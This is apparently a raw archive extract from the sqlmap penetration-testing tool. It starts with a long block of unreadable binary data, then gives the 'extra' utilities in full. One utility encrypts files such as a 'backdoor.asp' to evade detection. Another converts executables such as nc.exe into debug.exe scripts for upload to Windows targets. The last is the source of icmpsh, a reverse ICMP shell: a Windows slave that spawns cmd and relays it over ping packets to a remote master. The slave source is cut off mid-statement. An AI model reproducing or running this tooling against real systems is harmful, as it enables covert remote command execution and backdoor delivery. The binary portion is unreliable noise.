Vyԋྒྷ!rکUCn'1I=JHTU{JH@H4r) /AҤƋ&g/a :)V5@KUSG<1'<gi٨Ϋ9yʪF" "-8BNQWOPDd:,/#SD.oB:")o$_/:EwQWaMB6+7!^ 7fߠLɻΧbqڅ>F#'2.> HTbVIk??4)mh `9LͻRбw!%n* *G5^@JVRSG<1&$;gSS}~v p."-71CN WmPE:Z.#d (fqЪ.il49$/f;E$QWjMA7,!b @W߽!a ||iZ(t2>G?TVI?a4)YCKۢR3ȯ.qݎn'? u*4`@yK=WASG<0&_]7V۸Z]KKl 1!-8BCwNRWPD9.1$Z >־˥4.(ׇͤ^?'%/B;gEQVLAB7$,  >L:cXW?2v (J2>HsTUJ?3))~JKܧқ\7 +*5AKWSeF<1&XXf>S;vSC "w-8C[NXOD9/#@ 1b/͂؂LP%/:F%RVLVB6+ M yMɍ%8?U_,'3r>H4TUI>32)sO_M!Ǎ_o : +5@dKVRF<[1 &c5ٌqÔ1 g]$ "K-[8CNXODP9.#l19Wֲѿ嵡`DOl/%0;ER;W\LgA6+!C Oӣͽ1DڨTGM(2I>^HTTI(?#4)]b ϱܼN< Z*a5A-LyVR G<~09&NQEٽΤIXڿ.˫ո> E"-9CN%X#PCw9/.#+ g s@I;U'UI>3(<d.9̨k.k{ Q+k6>AKqVR+F<0o&&dzsj\ۿo2; e#-8]C OaWcOD9Y."? Yր|Aݩ߫nzE%0;FeRWoLA5C+\  '$q[vgںŸNB&^`(3>HZUUH>h3(/?{voVʨBU ޥ`8  k+,6 AKWRF$<'1%alqԫ=4QGY 1#-8DO/WOSD29-+#  -9a։˝3:Ʒ3Π4a%0=HUSUH>3`(\'BLۺЫܺfv Xӌu ) [ D+5AqLWgRF;0%@fܫߩ@}UC "[.9DeO^W O\C8-c# =/rܿ\jtwg#p&0<*FRqVKI'U;U@I>2i(;yaȉuvt w+6ALXRE;H0&~*O.ؠA\ѫܩ,˪a| #2.q9CnO XNC8;." ]0"9K`C7&0< GRwV0LAb5*W ;NӐܼб~ۗ a_)'4&?ITT_HI>2(Q@YōB2ϽQ#C !+6dA]L=WRE;0,% qPB͝»`Ϳ֪X:.j#.N9DOXNC]8I-"& ^d 3tÉ9a &U1X34(1(?TŨ9%o#[  +76AMVRXF;/j%6s |ԩ}n֏ o#y.9|DO7XOB8n-"E O)՜LDK' k #R_&12'%F>qfʧLɣb; ]9!+6BaMWuQE:_/$p) ;Dt(IQ#*/f:DRPNWNB8-" *xK{9óU=q:'11'aNE,Ĭ8vGQfN R J,7BLuXQD:~/G%aCVy%I̸'lh$.C:hDQXMB97+j  ca𩈮 ĕ &_N%V0]ZITSF<+1&v?hMFʺhp״  +j6)AKLVPMD:.>#c [cξ跗N÷́؃ 6l#->9TDOWL2Bg6+ 1 y3SdJNm %91v3U)Oh"Ku޴KǀҞ0ri )3>.IURF<1T&i,U1nЏǺglK^l  ^+6*BL(V6P\D9,.i# .]Ƿ(aªa's~ f#.9 ,7ALVOCk99.#W d3ٷkŽ  #o.9CO1VLA6+ \ sϿz驙ıЙbMm&0<4G,SUID?%3( ~~YuDZ-{Yr, ޵9)A4w?IUSF"<0n&-aϭ詬 wզUx Q@!+6fAgMV2OD9." [+؛Am߷8RvK #4.9DBPVLjA5W+A Y 5"J~&ū`&E&1<GR'UH>k3(EOqH_ҝмⱍL.[޲t!b)40?IVRDF_<0%fr1Ct3aKSND_ / !+6]BWMWO=D8-"# 7i3~ax&Ωع\| y#/':D-P.VL@66d+ I zSPr;tLH&f13(RvݏHDzӱErO@J)4@GJhURzFg;@0%mڥ%j5"4  ,Q7JBLWOIC9-b#u A75}ḏ·tj VU$.:(D+QVKfAK6 +; ;%Վ6oo[u+&014=GnSTnIj>2s('UfHݒV ĩȘr%E)4?4JUARE;Z0 &) ڏj ЪEUը j!S,H7AIMVOC29-_" +>[ƒJR\F$u.1: EQjWKuAx5*EQ 2qɤ$6/'ѿۢo&2<=gG{ST~HD>2(oDh ǵҰpV>))4U?JUQ+F;P0$8cSCϊGЪ֩QVD p!,~7BMGVZOC18j-" ayx|)T*mW$/:DPVJK@5+ zy d%eVۧ  La'1'=GT/UNH> 3(uZ=\Q!j>B )W4E@JUQ]F;;/k%0Cc~ϺÈˁր@e !,7BM>VNB8y-" ֗f C۸>QhA |$9/m:DPUK@6*1 t5/ߥ)Qńn"-5'1>GT UH=_2'U+X'ԮV*5:@xJ5VpQSE[;/%z0UvNր*O '",7BrNVON^C8;-!U= ]VJ@j5<*} |SMNԺflTxX&ҵܬW7' 2 >HTSH=1'^Bܶ ƕ+۩ݾa@ p*5@ KU^QD:/=%O(+ΏPO "̩ք^HF A"-8B@NVNB[8-! Q]v(CR8U!w,d$r/;ERWJ?41*&Ժ*Toܩ*XC(2>9H>TrSG=2')ml ȯu&!*q5@KVPfE:u/$voϭpRa̅}% `B",i8CNSVpNBV7,!! .7֤U"ݪ߬ӹ9R8RH}C%K0i;EvQ`VMJ?4U*8LUޫ";Ɲfxl#%(2=GU^T~G=020'*yтƄ,-ݳ ߎz l*85AKDVQEM:/$p7 m١¾ OH:B C!-8PCyNPVMHTTTG<1,'}ZJui~_?ԇߵ` ~U+5@gKVrPDx:(/$ (T؈C>,SA+U}*- "-8BuOVeMB7j, [ el̏=kwڄMT%/;eFQ\UK?*4)@'eȖVƼO=ݺNw~(=3t>HHTSG!=1p'"gyjש5y,8\N 8 +5@KVPD:@/#J0ح@å}Bn "U-I9CHO&WMB6Q,I! f9DGi/u n%0;FQTI?W4*OM( }|~ct0ݕzp(*3>8ITSG>=1a&RƝ.qr0H E*5AL1B҇r-PL(2>eIT1SG<%1&Cq4ԺN ﳥh- \ .+W6LAKUlP1D:.d$n @. G[‡Cԫ~ء+ |)#.8COV1M'BX7+  Aվː ȩԭďпzB@%:0<^FRV J0?3j)4MNS2S/\@ǽ?݁u, )3>ITRF0& 1G<^FcRU[IH?3)Vj;a`(!1(l3>H>VwSF=\1R&'F%=M۽Рž1辠՟ZK e -+6AL}V6P-D/9h.# qE;.a•,( #.q9DtOUmLA62, is Mi'B߮k[ۄ$bd>&0;FRTIe? 4(+oȶUf^-(z3?}IiUSF<0Z&M&QgIИķ{ʘ\7 Zi ,6A\LVuOC9p.#H Kvn׳3pmn+B #H.d9CrPcVLA6+.  /1˼V)Ȯ(EN~$&0<.GRTJ>[3)v\ӌؼԱEݕdJY) 4=?sITRDFS<0&+6VP6ʺ\ )j ` +t6A(M WOD9-#n y μC&zpS #!.2:{DIPVLHA6+p ) mj.[ߩˮ6PţK;&|13O)l[8?ݿҝM|E9ҠSZo\>)3>)J?UVRFt<0%P)o\$йZTݴ^, "  +6`BL~VPC8-4#uW ufK(͞H|̓e !#.9MDPWKWAK6+  R<ՙW3ר![A)ESY&<1r$.9DPaV;LtAl6*A@  ]6þ?XƮRђL `&1=GSU%I_>2(f oaǞ2d{L`]9)v4?IkUQF;0H&<]oďᭆ"+ l!&,7AMaVOCN9-v" !YpŽkB#m.?:E`PVLA5 +  WBԾfЃib'1=GASGUpH>!3(o:k_2԰ШKȝ ߸N;)%4?JVRF<(3':_H )s҄󻾰^UyԻޢm{{)f4g@WJURF7;0%ou|/W3c7n Q!,7aBVM WoNMC8-#8n $o2b y$/3:|DaQVK/A6*\  hXd꩝캼ŘPC&'2=GlS{TH=2(2@P=Gݝ찫]ӂq*4@RJ!UQE[;T0%w` nyvq˰8t '!,D7zBN,WNmC8,C"[ J@N5¶"Ÿ F=ٶQGW$.";%EHQVK@/5*@5 *Wɝų¯.bn7 'F2c=GzSSBH>2(lbgƓЩ+Ƞӂ6 \j( *4?KUQE;0$`.ڞ>Q;^ !S,7CMV'O5C78-\"q rP^K85$/:DQ(WJ@g5*FL O|Ԇ澉<{ѼܷC]Cv'1S=8HTbTGHk>+2'mU@ҞƝER > E)`5@ KUQE:/$?r^ڣΫA몉̶ֱ'z "S-7BMUNB)8-;" @X;ƶIk})&$/r:eEQVKK@5)0o J-}U twk܈$/h'1X>GT+U:H=2'(7 ܑ'6ިl`:# *L5O@JUPLE;/i%h:SϢù˦ֵ_ s3",7mBNaV'N,Cq8,!) C/ףLϸean6$/i;E7QUFK?50*iddG߾An3.N_^(v2=GSSG=t2'?EܛZ+ӯ],mw?6 r*4]@|KE ?"-u8C[NWrMB7 -#"p QƩAqڗL)TQ%/: FPRUJ@4) Sɟwλ_6'3m>HTSG<19'h^*}cWөɣ[>c zC+5@2KUPD:/$14ؤM68E̐v~  "q-#8>CO*WMB7,s! f9X~ z %/;E9R:VJ?^4*sNHU߿|вX)ҡt( 34>H"TSxGD=1'8ӻsa6 C*5_@ LUP,E:#/#FGg1Z4ѬF ͸שZA" K"-9CNVMAT7S,! AVm6k4ĵٝ( \&&D0;EQUJ?4$*(|tG޸ӧ9o oHҞp% <d(2%>I\USG=L1&6:|Ѳ ǩ賮1 *?6CALUPD9./$z'yݬyrtב@2 c".8CNU1M3BS7,S! 9f |˃׵:L>%T0D;bւ˪ &ЮڵJa%0=54f)CWcIdǑݸ\A*)C3>HT&SF<1&p u/ЃmҮQF;d F V+5"A}LWPDp:1.#1jv؍h C;Tn>H "-9COVhMA6#, ! .=PxAeڲ$_;&0;UFQTIh?04)SLGν;XG(Q3D>~ITSGG=g1'&loѭlĩ3ʣ_8l v+6A)LVPC9k.#;  odش)}b͞mw #+.y9COWhLA6R,  3e7JY SSq&0;F$SUI?3(Y2<ޏ*ۼXB݃p(32?IT-SF<.1f&s5Kv ŕ-ɿ_; E9 A ,k6ALUO4D9.#` 3d2͇[߫ëȷpK5v e#4.8 D P WL B7U+  ztKCE{L%037)e0ҩ*߱@e{ݿXy\)3>[IT6A4MVOD|9-N#V (xtmؐ w#y.9tDOVLA~6+  0ՙV.0кx0'1 JURF)b4?IUSE;0$&oگϝV@ˊ Og] d!3,7AL^V OC;9n." )BRŽ(N)#.~9DPV_LA 6*3 p 8(iՙ7=ڮЅv*S;&1=PGRUXI2>c3(&+eǧzS@S2)%4x?ITQ_F;0 &R'GiнĔ ll޿"֝2 !,6AMWiODt9u-"R E#ح͞bᷣ’α= #.U:D-PUL@5K+H  y6)sѪ#X8ۈr2'1t3)2@7RQҨǾc8sHq i)3?JTQF;0% QLĚ8ժ s@Y 6 Z @,7hB7MiVuOC8-#$T .Ns>W \rDY.Q $.S:ZDpPVK.A6+ "ʅ _8D&{12(cEJFܪxX+ɭӸAvdU=)4?J.TQ:F);l0%"y~.\įkϵq' r!,;7bBLTNzC8."U auzD{Xل']j6$.9D4PUKIA6*, 5ՁʗJ'ńѾ ]3&&02}=GSS0H>2`(E[2:jǪǽiӳ*_|y *4?YJUPFu;0J%a6a6kϓļíŵ=fn {!,7BM UNC8-r" DWOx+0ûLK^?#_/:WEOUK6@5* 9 OBɇzAюUv'1=GRSHh>2(^T8Ƽs^Sh)^4?J;U!QF;/.%c`)}WM`̂ W!H,8BM6UN-C8-~"4 vhg/Yq nÊ5%$/h:+EOYThK@52+ni x߾p쪿Ūџ]Rg '1~=NHRfSiHP>2'!|Xwƨ "9 ߨ)(Lz"*,5@4JUQE2;/q%5ϧ˹:72Ns O",7qB,MUMEC\8-": *w Ûs$L/^:sE{PT[K A057*X FcԹ' ƵT=ob'h2="HRPS H~=2'1[ќͻ7{"Ծf*4a@;JTP_E7;0@%qiFƭnty% L!,7BMVM`C8," Z3̪ڸevi $/F;ZEwPUJ%@5}*^nMM5 )wx4@S(O2=YGSRG=2'@&`ܫѯ6&ɢԺArH .n*4@JTxPE;/$9ek}X}8e# !-8B M.VMdB7,L"G ]d#̆ " r>-4%/@;DPU3J@5*2@Yɫީ/ja7'2=HHSRG:>1f'5#lIqʰ;uԊWT "*5@JTPD:/$ZKىPÅkog m"q-78BLUMB7S-! |27RhuY?z[%_/S;~EP]UJ@]4)UH $߂7:ҹܝ S'2V>WGSMSFm=1'dMc Ʈ˰.;Ԋ6 (2%=F_PJ?5+ !: 4"gԢ{Nwz ' $!-5>XC<3*"8@ !'WŅη_Ah_ &,*446.Y'  $`.fcڝԋGI[ 4ikf1? =<] aT- @l   R&-Y;{$( Qsqlmap-1.9.6/extra/cloak/000077500000000000000000000000001502261744200152435ustar00rootroot00000000000000sqlmap-1.9.6/extra/cloak/README.txt000066400000000000000000000013341502261744200167420ustar00rootroot00000000000000To use cloak.py you need to pass it the original file, and optionally the output file name. Example: $ python ./cloak.py -i backdoor.asp -o backdoor.asp_ This will create an encrypted and compressed binary file backdoor.asp_. Such file can then be converted to its original form by using the -d functionality of the cloak.py program: $ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp If you skip the output file name, general rule is that the compressed file names are suffixed with the character '_', while the original is get by skipping the last character. So, that means that the upper examples can also be written in the following form: $ python ./cloak.py -i backdoor.asp $ python ./cloak.py -d -i backdoor.asp_ sqlmap-1.9.6/extra/cloak/__init__.py000066400000000000000000000002221502261744200173500ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass sqlmap-1.9.6/extra/cloak/cloak.py000066400000000000000000000043551502261744200167150ustar00rootroot00000000000000#!/usr/bin/env python """ cloak.py - Simple file encryption/compression utility Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import os import struct import sys import zlib from optparse import OptionError from optparse import OptionParser if sys.version_info >= (3, 0): xrange = range ord = lambda _: _ KEY = b"E6wRbVhD0IBeCiGJ" def xor(message, key): return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) def cloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() return xor(zlib.compress(data), KEY) def decloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() try: data = zlib.decompress(xor(data, KEY)) except Exception as ex: print(ex) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) finally: f.close() return data def main(): usage = '%s [-d] -i [-o ]' % sys.argv[0] parser = OptionParser(usage=usage, version='0.2') try: parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') parser.add_option('-i', dest='inputFile', help='Input file') parser.add_option('-o', dest='outputFile', help='Output file') (args, _) = parser.parse_args() if not args.inputFile: parser.error('Missing the input file, -h for help') except (OptionError, TypeError) as ex: parser.error(ex) if not os.path.isfile(args.inputFile): print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile) sys.exit(1) if not args.decrypt: data = cloak(args.inputFile) else: data = decloak(args.inputFile) if not args.outputFile: if not args.decrypt: args.outputFile = args.inputFile + '_' else: args.outputFile = args.inputFile[:-1] f = open(args.outputFile, 'wb') f.write(data) f.close() if __name__ == '__main__': main() sqlmap-1.9.6/extra/dbgtool/000077500000000000000000000000001502261744200156045ustar00rootroot00000000000000sqlmap-1.9.6/extra/dbgtool/README.txt000066400000000000000000000010451502261744200173020ustar00rootroot00000000000000To use dbgtool.py you need to pass it the MS-DOS executable binary file, and optionally the output debug.exe script file name. Example: $ python ./dbgtool.py -i ./nc.exe -o nc.scr This will create a ASCII text file with CRLF line terminators called nc.scr. Such file can then be converted to its original portable executable with the Windows native debug.exe, that is installed by default in all Windows systems: > debug.exe < nc.scr To be able to execute it on Windows you have to rename it to end with '.com' or '.exe': > ren nc_exe nc.exe sqlmap-1.9.6/extra/dbgtool/__init__.py000066400000000000000000000002221502261744200177110ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass sqlmap-1.9.6/extra/dbgtool/dbgtool.py000066400000000000000000000046521502261744200176170ustar00rootroot00000000000000#!/usr/bin/env python """ dbgtool.py - Portable executable to ASCII debug script converter Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import os import sys from optparse import OptionError from optparse import OptionParser def convert(inputFile): fileStat = os.stat(inputFile) fileSize = fileStat.st_size if fileSize > 65280: print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile) sys.exit(1) script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) script += "%x\nf 0100 ffff 00\n" % fileSize scrString = "" counter = 256 counter2 = 0 fp = open(inputFile, "rb") fileContent = fp.read() for fileChar in fileContent: unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar) if unsignedFileChar != 0: counter2 += 1 if not scrString: scrString = "e %0x %02x" % (counter, unsignedFileChar) else: scrString += " %02x" % unsignedFileChar elif scrString: script += "%s\n" % scrString scrString = "" counter2 = 0 counter += 1 if counter2 == 20: script += "%s\n" % scrString scrString = "" counter2 = 0 script += "w\nq\n" return script def main(inputFile, outputFile): if not os.path.isfile(inputFile): print("ERROR: the provided input file '%s' is not a regular file" % inputFile) sys.exit(1) script = convert(inputFile) if outputFile: fpOut = open(outputFile, "w") sys.stdout = fpOut sys.stdout.write(script) sys.stdout.close() else: print(script) if __name__ == "__main__": usage = "%s -i [-o ]" % sys.argv[0] parser = OptionParser(usage=usage, version="0.1") try: parser.add_option("-i", dest="inputFile", help="Input binary file") parser.add_option("-o", dest="outputFile", help="Output debug.exe text file") (args, _) = parser.parse_args() if not args.inputFile: parser.error("Missing the input file, -h for help") except (OptionError, TypeError) as ex: parser.error(ex) inputFile = args.inputFile outputFile = args.outputFile main(inputFile, outputFile) sqlmap-1.9.6/extra/icmpsh/000077500000000000000000000000001502261744200154355ustar00rootroot00000000000000sqlmap-1.9.6/extra/icmpsh/README.txt000066400000000000000000000030741502261744200171370ustar00rootroot00000000000000icmpsh - simple reverse ICMP shell icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. --- Running the Master --- The master is straight forward to use. There are no extra libraries required for the C version. The Perl master however has the following dependencies: * IO::Socket * NetPacket::IP * NetPacket::ICMP When running the master, don't forget to disable ICMP replies by the OS. For example: sysctl -w net.ipv4.icmp_echo_ignore_all=1 If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive commands send from the master. --- Running the Slave --- The slave comes with a few command line options as outlined below: -t host host ip address to send ping requests to. This option is mandatory! -r send a single test icmp request containing the string "Test1234" and then quit. This is for testing the connection. -d milliseconds delay between requests in milliseconds -o milliseconds timeout of responses in milliseconds. If a response has not received in time, the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. The counter is set back to 0 if a response was received. -b num limit of blanks (unanswered icmp requests before quitting -s bytes maximal data buffer size in bytes In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. sqlmap-1.9.6/extra/icmpsh/__init__.py000066400000000000000000000015501502261744200175470ustar00rootroot00000000000000#!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker ) # # Copyright (c) 2010, Bernardo Damele A. G. # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . pass sqlmap-1.9.6/extra/icmpsh/icmpsh-m.c000066400000000000000000000075751502261744200173340ustar00rootroot00000000000000/* * icmpsh - simple icmp command shell * Copyright (c) 2010, Nico Leidecker * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #define IN_BUF_SIZE 1024 #define OUT_BUF_SIZE 64 // calculate checksum unsigned short checksum(unsigned short *ptr, int nbytes) { unsigned long sum; unsigned short oddbyte, rs; sum = 0; while(nbytes > 1) { sum += *ptr++; nbytes -= 2; } if(nbytes == 1) { oddbyte = 0; *((unsigned char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); rs = ~sum; return rs; } int main(int argc, char **argv) { int sockfd; int flags; char in_buf[IN_BUF_SIZE]; char out_buf[OUT_BUF_SIZE]; unsigned int out_size; int nbytes; struct iphdr *ip; struct icmphdr *icmp; char *data; struct sockaddr_in addr; printf("icmpsh - master\n"); // create raw ICMP socket sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); if (sockfd == -1) { perror("socket"); return -1; } // set stdin to non-blocking flags = fcntl(0, F_GETFL, 0); flags |= O_NONBLOCK; fcntl(0, F_SETFL, flags); printf("running...\n"); while(1) { // read data from socket memset(in_buf, 0x00, IN_BUF_SIZE); nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); if (nbytes > 0) { // get ip and icmp header and data part ip = (struct iphdr *) in_buf; if (nbytes > sizeof(struct iphdr)) { nbytes -= sizeof(struct iphdr); icmp = (struct icmphdr *) (ip + 1); if (nbytes > sizeof(struct icmphdr)) { nbytes -= sizeof(struct icmphdr); data = (char *) (icmp + 1); data[nbytes] = '\0'; printf("%s", data); fflush(stdout); } // reuse headers icmp->type = 0; addr.sin_family = AF_INET; addr.sin_addr.s_addr = ip->saddr; // read data from stdin nbytes = read(0, out_buf, OUT_BUF_SIZE); if (nbytes > -1) { memcpy((char *) (icmp + 1), out_buf, nbytes); out_size = nbytes; } else { out_size = 0; } icmp->checksum = 0x00; icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); // send reply nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); if (nbytes == -1) { perror("sendto"); return -1; } } } } return 0; } sqlmap-1.9.6/extra/icmpsh/icmpsh-m.pl000066400000000000000000000041301502261744200175050ustar00rootroot00000000000000#!/usr/bin/env perl # # icmpsh - simple icmp command shell # Copyright (c) 2010, Nico Leidecker # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # use strict; use IO::Socket; use NetPacket::IP; use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); use Net::RawIP; use Fcntl; print "icmpsh - master\n"; # create raw socket my $sock = IO::Socket::INET->new( Proto => "ICMP", Type => SOCK_RAW, Blocking => 1) or die "$!"; # set stdin to non-blocking fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; print "running...\n"; my $input = ''; while(1) { if ($sock->recv(my $buffer, 4096, 0)) { my $ip = NetPacket::IP->decode($buffer); my $icmp = NetPacket::ICMP->decode($ip->{data}); if ($icmp->{type} == ICMP_ECHO) { # get identifier and sequencenumber my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); # write data to stdout and read from stdin print $data; $input = ; # compile and send response $icmp->{type} = ICMP_ECHOREPLY; $icmp->{data} = pack("SSa*", $ident, $seq, $input); my $raw = $icmp->encode(); my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); $sock->send($raw, 0, $addr) or die "$!\n"; } } } sqlmap-1.9.6/extra/icmpsh/icmpsh-s.c000066400000000000000000000221761502261744200173340ustar00rootroot00000000000000/* * icmpsh - simple icmp command shell * Copyright (c) 2010, Nico Leidecker * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) #define STATUS_OK 0 #define STATUS_SINGLE 1 #define STATUS_PROCESS_NOT_CREATED 2 #define TRANSFER_SUCCESS 1 #define TRANSFER_FAILURE 0 #define DEFAULT_TIMEOUT 3000 #define DEFAULT_DELAY 200 #define DEFAULT_MAX_BLANKS 10 #define DEFAULT_MAX_DATA_SIZE 64 FARPROC icmp_create, icmp_send, to_ip; int verbose = 0; int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) { SECURITY_ATTRIBUTES sattr; STARTUPINFOA si; HANDLE in_read, out_write; memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); // create communication pipes memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); sattr.nLength = sizeof(SECURITY_ATTRIBUTES); sattr.bInheritHandle = TRUE; sattr.lpSecurityDescriptor = NULL; if (!CreatePipe(out_read, &out_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!CreatePipe(&in_read, in_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED; } // spawn process memset(&si, 0x00, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.hStdError = out_write; si.hStdOutput = out_write; si.hStdInput = in_read; si.dwFlags |= STARTF_USESTDHANDLES; if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { return STATUS_PROCESS_NOT_CREATED; } CloseHandle(out_write); CloseHandle(in_read); return STATUS_OK; } void usage(char *path) { printf("%s [options] -t target\n", path); printf("options:\n"); printf(" -t host host ip address to send ping requests to\n"); printf(" -r send a single test icmp request and then quit\n"); printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); printf(" -o milliseconds timeout in milliseconds\n"); printf(" -h this screen\n"); printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); printf(" before quitting\n"); printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); printf("In order to improve the speed, lower the delay (-d) between requests or\n"); printf("increase the size (-s) of the data buffer\n"); } void create_icmp_channel(HANDLE *icmp_chan) { // create icmp file *icmp_chan = (HANDLE) icmp_create(); } int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) { int rs; char *temp_in_buf; int nbytes; PICMP_ECHO_REPLY echo_reply; temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); if (!temp_in_buf) { return TRANSFER_FAILURE; } // send data to remote host rs = icmp_send( icmp_chan, target, out_buf, out_buf_size, NULL, temp_in_buf, max_in_data_size + ICMP_HEADERS_SIZE, timeout); // check received data if (rs > 0) { echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; if (echo_reply->DataSize > max_in_data_size) { nbytes = max_in_data_size; } else { nbytes = echo_reply->DataSize; } memcpy(in_buf, echo_reply->Data, nbytes); *in_buf_size = nbytes; free(temp_in_buf); return TRANSFER_SUCCESS; } free(temp_in_buf); return TRANSFER_FAILURE; } int load_deps() { HMODULE lib; lib = LoadLibraryA("ws2_32.dll"); if (lib != NULL) { to_ip = GetProcAddress(lib, "inet_addr"); if (!to_ip) { return 0; } } lib = LoadLibraryA("iphlpapi.dll"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } lib = LoadLibraryA("ICMP.DLL"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } printf("failed to load functions (%u)", GetLastError()); return 0; } int main(int argc, char **argv) { int opt; char *target; unsigned int delay, timeout; unsigned int ip_addr; HANDLE pipe_read, pipe_write; HANDLE icmp_chan; unsigned char *in_buf, *out_buf; unsigned int in_buf_size, out_buf_size; DWORD rs; int blanks, max_blanks; PROCESS_INFORMATION pi; int status; unsigned int max_data_size; // set defaults target = 0; timeout = DEFAULT_TIMEOUT; delay = DEFAULT_DELAY; max_blanks = DEFAULT_MAX_BLANKS; max_data_size = DEFAULT_MAX_DATA_SIZE; status = STATUS_OK; if (!load_deps()) { printf("failed to load ICMP library\n"); return -1; } // parse command line options for (opt = 1; opt < argc; opt++) { if (argv[opt][0] == '-') { switch(argv[opt][1]) { case 'h': usage(*argv); return 0; case 't': if (opt + 1 < argc) { target = argv[opt + 1]; } break; case 'd': if (opt + 1 < argc) { delay = atol(argv[opt + 1]); } break; case 'o': if (opt + 1 < argc) { timeout = atol(argv[opt + 1]); } break; case 'r': status = STATUS_SINGLE; break; case 'b': if (opt + 1 < argc) { max_blanks = atol(argv[opt + 1]); } break; case 's': if (opt + 1 < argc) { max_data_size = atol(argv[opt + 1]); } break; default: printf("unrecognized option -%c\n", argv[1][0]); usage(*argv); return -1; } } } if (!target) { printf("you need to specify a host with -t. Try -h for more options\n"); return -1; } ip_addr = to_ip(target); // don't spawn a shell if we're only sending a single test request if (status != STATUS_SINGLE) { status = spawn_shell(&pi, &pipe_read, &pipe_write); } // create icmp channel create_icmp_channel(&icmp_chan); if (icmp_chan == 